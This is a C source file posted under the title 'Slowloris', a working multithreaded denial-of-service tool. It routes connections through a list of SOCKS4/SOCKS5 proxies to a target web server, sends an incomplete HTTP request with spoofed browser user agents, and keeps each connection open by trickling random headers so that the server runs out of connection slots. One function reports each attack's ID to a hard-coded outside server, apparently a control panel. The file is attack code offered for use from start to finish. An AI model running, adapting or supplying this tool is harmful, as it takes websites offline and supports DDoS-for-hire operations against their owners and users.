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[C] Slowloris

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Nov 19th, 2016
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  1. #include <pthread.h>
  2. #include <sys/resource.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/tcp.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <ctype.h>
  14.  
  15. #define RND_CHAR (char)((rand() % 26)+97)
  16.  
  17. char *useragents[] = {
  18. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  19. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  20. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  21. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  22. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  23. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  24. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  25. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  26. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  27. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  28. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  29. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  30. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  31. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  32. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  33. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  34. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  35. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  36. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  37. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  38. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  39. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  40. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  41. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  42. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  43. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  44. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  45. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  46. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  47. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  48. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  49. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  50. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  51. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  52. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  53. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  54. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  55. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  56. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  57. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  58. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  59. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  60. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  61. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  62. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  63. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  64. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  65. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66. };
  67. #define ATTACKPORT 80
  68. char *postformat = "GET /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n";
  69. char *postpayload;
  70. struct urlparts {
  71. char * name;
  72. char separator[4];
  73. char value[128];
  74. } parts[] = {
  75. { "scheme", ":" },
  76. { "userid", "@" },
  77. { "password", ":" },
  78. { "host", "//" },
  79. { "port", ":" },
  80. { "path", "/" },
  81. { "param", ";" },
  82. { "query", "?" },
  83. { "fragment", "#" }
  84. };
  85. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  86. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  87. struct urlparts *returnparts[8];
  88. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  89. struct proxy { char *type; char *ip; int port; int working; };
  90. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  91. struct list *head = NULL;
  92. char parseError[128];
  93. int parseURL(char *url, struct urlparts **returnpart);
  94. char * strsplit(char * s, char * tok);
  95. char firstpunc(char *s);
  96. int strleft(char * s, int n);
  97. void setupparts();
  98. void freeparts();
  99. char *stristr(const char *String, const char *Pattern);
  100. char *str_replace(char *orig, char *rep, char *with);
  101. char *geturl(char *url, char *useragent, char *ip);
  102. char *ipstr;
  103.  
  104. void *flood(void *par) {
  105. struct list *startpoint = (struct list *)par;
  106. int i;
  107. struct sockaddr_in serverAddr;
  108. signal(SIGPIPE, SIG_IGN);
  109. while(1)
  110. {
  111. int sent = 0;
  112. if(startpoint->data->working == 0)
  113. {
  114. startpoint = startpoint->next;
  115. sleep(1);
  116. continue;
  117. }
  118. memset(&serverAddr, 0, sizeof(serverAddr));
  119. serverAddr.sin_family = AF_INET;
  120. serverAddr.sin_port = htons(startpoint->data->port);
  121. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  122. int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  123. u_int yes=1;
  124. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  125. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  126. {
  127. startpoint->data->working = 0;
  128. startpoint = startpoint->next;
  129. continue;
  130. }
  131. if(strcmp(startpoint->data->type, "Socks4")==0)
  132. {
  133. unsigned char buf[10];
  134. buf[0] = 0x04;
  135. buf[1] = 0x01;
  136. *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  137. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  138. buf[8] = 0x00;
  139. if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  140. {
  141. startpoint->data->working = 0;
  142. startpoint = startpoint->next;
  143. close(serverSocket);
  144. continue;
  145. }
  146. }
  147. if(strcmp(startpoint->data->type, "Socks5")==0)
  148. {
  149. unsigned char buf[20];
  150. buf[0] = 0x05;
  151. buf[1] = 0x01;
  152. buf[2] = 0x00;
  153. if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  154. {
  155. startpoint->data->working = 0;
  156. startpoint = startpoint->next;
  157. close(serverSocket);
  158. continue;
  159. }
  160. buf[0] = 0x05;
  161. buf[1] = 0x01;
  162. buf[2] = 0x00;
  163. buf[3] = 0x01;
  164. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  165. *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  166. if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  167. {
  168. printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
  169. perror("send 10");
  170. startpoint->data->working = 0;
  171. startpoint = startpoint->next;
  172. close(serverSocket);
  173. continue;
  174. }
  175. }
  176. char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  177. if(httppayload == NULL)
  178. {
  179. startpoint = startpoint->next;
  180. close(serverSocket);
  181. continue;
  182. }
  183. sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  184. free(httppayload);
  185. int send_return = 1;
  186. while(send_return > 0)
  187. {
  188. char *headershit = malloc(255);
  189. sprintf(headershit, "X-%c%c%c%c%c%c%c: 1\r\n", RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR);
  190. send_return = send(serverSocket, headershit, strlen(headershit), MSG_NOSIGNAL);
  191. free(headershit);
  192. sleep(1);
  193. }
  194. close(serverSocket);
  195. usleep(30000);
  196. //startpoint = startpoint->next;
  197. }
  198. }
  199.  
  200. int fnAttackInformation(int attackID)
  201. {
  202. char szRecvBuff[1024];
  203. char packet[1024];
  204. char ip[] = "37.221.170.5";
  205.  
  206. snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
  207.  
  208. struct sockaddr_in *remote;
  209. int sock;
  210. int tmpres;
  211.  
  212.  
  213. if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  214. {
  215. perror("Can't create TCP socket");
  216. exit(1);
  217. }
  218.  
  219. remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
  220. remote->sin_family = AF_INET;
  221. tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
  222.  
  223. if (tmpres < 0)
  224. {
  225. perror("Can't set remote->sin_addr.s_addr");
  226. exit(1);
  227. }
  228. else if (tmpres == 0)
  229. {
  230. fprintf(stderr, "%s is not a valid IP address\n", ip);
  231. exit(1);
  232. }
  233.  
  234. remote->sin_port = htons(80);
  235.  
  236. if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
  237. {
  238. perror("Could not connect");
  239. exit(1);
  240. }
  241.  
  242. tmpres = send(sock, packet, strlen(packet), 0);
  243.  
  244. //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);
  245.  
  246. if (tmpres == -1){
  247. perror("Can't send query");
  248. exit(1);
  249. }
  250.  
  251. int i = 1;
  252. int dwTotal = 0;
  253.  
  254.  
  255. while (1)
  256. {
  257. i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
  258. //printf("Received %d bytes\n", i);
  259. if (i <= 0)
  260. break;
  261.  
  262. dwTotal += i;
  263. }
  264.  
  265. szRecvBuff[dwTotal] = '\0';
  266.  
  267.  
  268. //printf("Received -> \n%s\n\n", szRecvBuff);
  269.  
  270.  
  271. close(sock);
  272.  
  273. //printf("Sent %d bytes\n", tmpres);
  274.  
  275. return 0;
  276. }
  277.  
  278. int main(int argc, char *argv[ ]) {
  279. if(argc < 4){
  280. fprintf(stderr, "Invalid parameters!\n");
  281. fprintf(stdout, "Usage: %s <target url> <number threads to use> <proxy list> <time> [manual ip]\n", argv[0]);
  282. exit(-1);
  283. }
  284. //fprintf(stdout, "Setting up Sockets...\n");
  285. int num_threads = atoi(argv[2]);
  286. FILE *pFile = fopen(argv[3], "rb");
  287. if(pFile==NULL)
  288. {
  289. perror("fopen"); exit(1);
  290. }
  291. fseek(pFile, 0, SEEK_END);
  292. long lSize = ftell(pFile);
  293. rewind(pFile);
  294. char *buffer = (char *)malloc(lSize*sizeof(char));
  295. fread(buffer, 1, lSize, pFile);
  296. fclose (pFile);
  297. int i=0;
  298. char *pch = (char *)strtok(buffer, ":");
  299. while(pch != NULL)
  300. {
  301. if(head == NULL)
  302. {
  303. head = (struct list *)malloc(sizeof(struct list));
  304. bzero(head, sizeof(struct list));
  305. head->data = (struct proxy *)malloc(sizeof(struct proxy));
  306. bzero(head->data, sizeof(struct proxy));
  307. head->data->working = 1;
  308. head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  309. pch = (char *)strtok(NULL, ":");
  310. if(pch == NULL) exit(-1);
  311. head->data->port = atoi(pch);
  312. pch = (char *)strtok(NULL, ":");
  313. head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  314. pch = (char *)strtok(NULL, ":");
  315. head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  316. head->next = head;
  317. head->prev = head;
  318. } else {
  319. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  320. bzero(new_node, sizeof(struct list));
  321. new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  322. bzero(new_node->data, sizeof(struct proxy));
  323. new_node->data->working = 1;
  324. new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  325. pch = (char *)strtok(NULL, ":");
  326. if(pch == NULL) break;
  327. new_node->data->port = atoi(pch);
  328. pch = (char *)strtok(NULL, ":");
  329. new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  330. pch = (char *)strtok(NULL, ":");
  331. new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  332. new_node->prev = head;
  333. new_node->next = head->next;
  334. head->next = new_node;
  335. }
  336. }
  337. free(buffer);
  338. const rlim_t kOpenFD = 1024 + (num_threads * 2);
  339. struct rlimit rl;
  340. int result;
  341. rl.rlim_cur = kOpenFD;
  342. rl.rlim_max = kOpenFD;
  343. result = setrlimit(RLIMIT_NOFILE, &rl);
  344. if (result != 0)
  345. {
  346. perror("setrlimit");
  347. fprintf(stderr, "setrlimit returned result = %d\n", result);
  348. }
  349. setupparts();
  350. parseURL(argv[1], returnparts);
  351. if(argc > 5)
  352. {
  353. ipstr = malloc(strlen(argv[5])+1);
  354. bzero(ipstr, strlen(argv[5])+1);
  355. strcpy(ipstr, argv[5]);
  356. //fprintf(stdout, "Using manual IP...\n");
  357. } else {
  358. struct hostent *he;
  359. struct in_addr a;
  360. he = gethostbyname(returnparts[host]->value);
  361. if (he)
  362. {
  363. while (*he->h_addr_list)
  364. {
  365. bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  366. ipstr = malloc(INET_ADDRSTRLEN+1);
  367. inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  368. break;
  369. }
  370. }
  371. else
  372. { herror("gethostbyname"); }
  373. }
  374. pthread_t thread[num_threads];
  375. struct list *td[num_threads];
  376. struct list *node = head->next;
  377.  
  378.  
  379. for(i=0;i<num_threads;i++)
  380. {
  381. td[i] = node;
  382. node = node->next;
  383. }
  384. postpayload = malloc(4096);
  385. sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value);
  386. freeparts();
  387.  
  388. //fprintf(stdout, "Starting Flood...\n");
  389.  
  390. fnAttackInformation(atoi(argv[argc-1]));
  391. for(i = 0;i<num_threads;i++){
  392. pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
  393. }
  394. sleep(atoi(argv[4]));
  395. return 0;
  396. }
  397. void freeparts()
  398. {
  399. return;
  400. if(returnparts[0]!=NULL) { free(returnparts[0]); }
  401. if(returnparts[1]!=NULL) { free(returnparts[1]); }
  402. if(returnparts[2]!=NULL) { free(returnparts[2]); }
  403. if(returnparts[3]!=NULL) { free(returnparts[3]); }
  404. if(returnparts[4]!=NULL) { free(returnparts[4]); }
  405. if(returnparts[5]!=NULL) { free(returnparts[5]); }
  406. if(returnparts[6]!=NULL) { free(returnparts[6]); }
  407. if(returnparts[7]!=NULL) { free(returnparts[7]); }
  408. if(returnparts[8]!=NULL) { free(returnparts[8]); }
  409. return;
  410. }
  411. void setupparts()
  412. {
  413. returnparts[0] = malloc(sizeof(struct urlparts));
  414. returnparts[1] = malloc(sizeof(struct urlparts));
  415. returnparts[2] = malloc(sizeof(struct urlparts));
  416. returnparts[3] = malloc(sizeof(struct urlparts));
  417. returnparts[4] = malloc(sizeof(struct urlparts));
  418. returnparts[5] = malloc(sizeof(struct urlparts));
  419. returnparts[6] = malloc(sizeof(struct urlparts));
  420. returnparts[7] = malloc(sizeof(struct urlparts));
  421. returnparts[8] = malloc(sizeof(struct urlparts));
  422. bzero(returnparts[0], sizeof(struct urlparts));
  423. bzero(returnparts[1], sizeof(struct urlparts));
  424. bzero(returnparts[2], sizeof(struct urlparts));
  425. bzero(returnparts[3], sizeof(struct urlparts));
  426. bzero(returnparts[4], sizeof(struct urlparts));
  427. bzero(returnparts[5], sizeof(struct urlparts));
  428. bzero(returnparts[6], sizeof(struct urlparts));
  429. bzero(returnparts[7], sizeof(struct urlparts));
  430. bzero(returnparts[8], sizeof(struct urlparts));
  431. returnparts[0]->name = "scheme";
  432. strcpy(returnparts[0]->separator, ":");
  433. returnparts[1]->name = "userid";
  434. strcpy(returnparts[1]->separator, "@");
  435. returnparts[2]->name = "password";
  436. strcpy(returnparts[2]->separator, ":");
  437. returnparts[3]->name = "host";
  438. strcpy(returnparts[3]->separator, "//");
  439. returnparts[4]->name = "port";
  440. strcpy(returnparts[4]->separator, ":");
  441. returnparts[5]->name = "path";
  442. strcpy(returnparts[5]->separator, "/");
  443. returnparts[6]->name = "param";
  444. strcpy(returnparts[6]->separator, ";");
  445. returnparts[7]->name = "query";
  446. strcpy(returnparts[7]->separator, "?");
  447. returnparts[8]->name = "fragment";
  448. strcpy(returnparts[8]->separator, "#");
  449. return;
  450. }
  451. int parseURL(char *url, struct urlparts **returnpart) {
  452. register i;
  453. int seplen;
  454. char * remainder;
  455. char * regall = ":/;?#";
  456. char * regpath = ":;?#";
  457. char * regx;
  458. if(!*url)
  459. {
  460. strcpy(parseError, "nothing to do!\n");
  461. return 0;
  462. }
  463. if((remainder = malloc(strlen(url) + 1)) == NULL)
  464. {
  465. printf("cannot allocate memory\n");
  466. exit(-1);
  467. }
  468. strcpy(remainder, url);
  469. if(firstpunc(remainder) == ':')
  470. {
  471. strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  472. strleft(remainder, 1);
  473. }
  474. if (!strcmp(returnpart[scheme]->value, "mailto"))
  475. *(returnpart[host]->separator) = 0;
  476. for(i = 0; i < NUMPARTS; i++)
  477. {
  478. if(!*remainder)
  479. break;
  480. if(i == scheme || i == userid || i == password)
  481. continue;
  482. if(i == host && strchr(remainder, '@'))
  483. {
  484. if(!strncmp(remainder, "//", 2))
  485. strleft(remainder, 2);
  486. strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  487. strleft(remainder, 1);
  488. if(strchr(remainder, '@'))
  489. {
  490. strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  491. strleft(remainder, 1);
  492. }
  493. *(returnpart[host]->separator) = 0;
  494. }
  495. if(i == path && (! *(returnpart[scheme]->value)))
  496. {
  497. *(returnpart[path]->separator) = 0;
  498. strcpy(returnpart[scheme]->value, "http");
  499. }
  500. regx = (i == path) ? regpath : regall ;
  501. seplen = strlen(returnpart[i]->separator);
  502. if(strncmp(remainder, returnpart[i]->separator, seplen))
  503. continue;
  504. else
  505. strleft(remainder, seplen);
  506. strcpy(returnpart[i]->value, strsplit(remainder, regx));
  507. }
  508. if(*remainder)
  509. sprintf(parseError, "I don't understand '%s'", remainder);
  510. free(remainder);
  511. return 0;
  512. }
  513. char *str_replace(char *orig, char *rep, char *with) {
  514. char *result;
  515. char *ins;
  516. char *tmp;
  517. int len_rep;
  518. int len_with;
  519. int len_front;
  520. int count;
  521. if (!orig)
  522. return NULL;
  523. if (!rep || !(len_rep = strlen(rep)))
  524. return NULL;
  525. if (!(ins = strstr(orig, rep)))
  526. return NULL;
  527. if (!with)
  528. with = "";
  529. len_with = strlen(with);
  530. for (count = 0; tmp = strstr(ins, rep); ++count) {
  531. ins = tmp + len_rep;
  532. }
  533. tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  534. if (!result)
  535. return NULL;
  536. while (count--) {
  537. ins = strstr(orig, rep);
  538. len_front = ins - orig;
  539. tmp = strncpy(tmp, orig, len_front) + len_front;
  540. tmp = strcpy(tmp, with) + len_with;
  541. orig += len_front + len_rep;
  542. }
  543. strcpy(tmp, orig);
  544. return result;
  545. }
  546. char * strsplit(char * s, char * tok) {
  547. #define OUTLEN (255)
  548. register i, j;
  549. static char out[OUTLEN + 1];
  550. for(i = 0; s[i] && i < OUTLEN; i++)
  551. {
  552. if(strchr(tok, s[i]))
  553. break;
  554. else
  555. out[i] = s[i];
  556. }
  557. out[i] = 0;
  558. if(i && s[i])
  559. {
  560. for(j = 0; s[i]; i++, j++) s[j] = s[i];
  561. s[j] = 0;
  562. }
  563. else if (!s[i])
  564. *s = 0;
  565. return out;
  566. }
  567. char firstpunc(char * s) {
  568. while(*s++)
  569. if(!isalnum(*s)) return *s;
  570. return 0;
  571. }
  572. int strleft(char * s, int n) {
  573. int l;
  574. l = strlen(s);
  575. if(l < n)
  576. return -1;
  577. else if (l == n)
  578. *s = 0;
  579. memmove(s, s + n, l - n + 1);
  580. return n;
  581. }
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